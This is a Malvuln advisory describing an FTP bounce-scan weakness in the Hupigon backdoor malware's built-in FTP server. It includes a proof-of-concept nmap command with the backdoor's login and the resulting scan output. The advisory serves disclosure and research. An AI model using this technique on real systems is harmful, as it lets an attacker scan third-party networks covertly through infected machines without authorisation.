Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/80b0fc8c0657c0ae7971f09af45c706b_B.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Hupigon.afjk Vulnerability: Port Bounce Scan Description: The malware runs an FTP server "huigezi Ftp" that listens on TCP port 2121. Third-party attackers who successfully logon can abuse the backdoor FTP server as a man-in-the-middle machine allowing PORT Command bounce scan attacks using Nmap. This vulnerability allows remote attackers to abuse your system and discreetly conduct network port scanning. Victims will then think these scans are originating from the infected system running the afflicted malware FTP Server and not you. Type: PE32 MD5: 80b0fc8c0657c0ae7971f09af45c706b Vuln ID: MVID-2021-0375 Disclosure: 10/27/2021 Exploit/PoC: nmap -n -Pn -b mal:vuln@192.168.18.125:2121 -p21,22,23,79,80,443 192.168.18.237 -v Starting Nmap 7.80 ( https://nmap.org ) at 2021-10-27 12:57 Pacific Daylight Time Resolved FTP bounce attack proxy to 192.168.18.125 (192.168.18.125). Attempting connection to ftp://mal:vuln@192.168.18.125:2121 Connected:220 Welcome To huigezi Ftp! Login credentials accepted by FTP server! Initiating Bounce Scan at 12:58 Discovered open port 80/tcp on 192.168.18.237 Completed Bounce Scan at 12:58, 5.48s elapsed (6 total ports) Nmap scan report for 192.168.18.237 Host is up. PORT STATE SERVICE 21/tcp closed ftp 22/tcp closed ssh 23/tcp closed telnet 79/tcp closed finger 80/tcp open http 443/tcp closed https Read data files from: C:\Program Files (x86)\Nmap Nmap done: 1 IP address (1 host up) scanned in 14.72 seconds Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).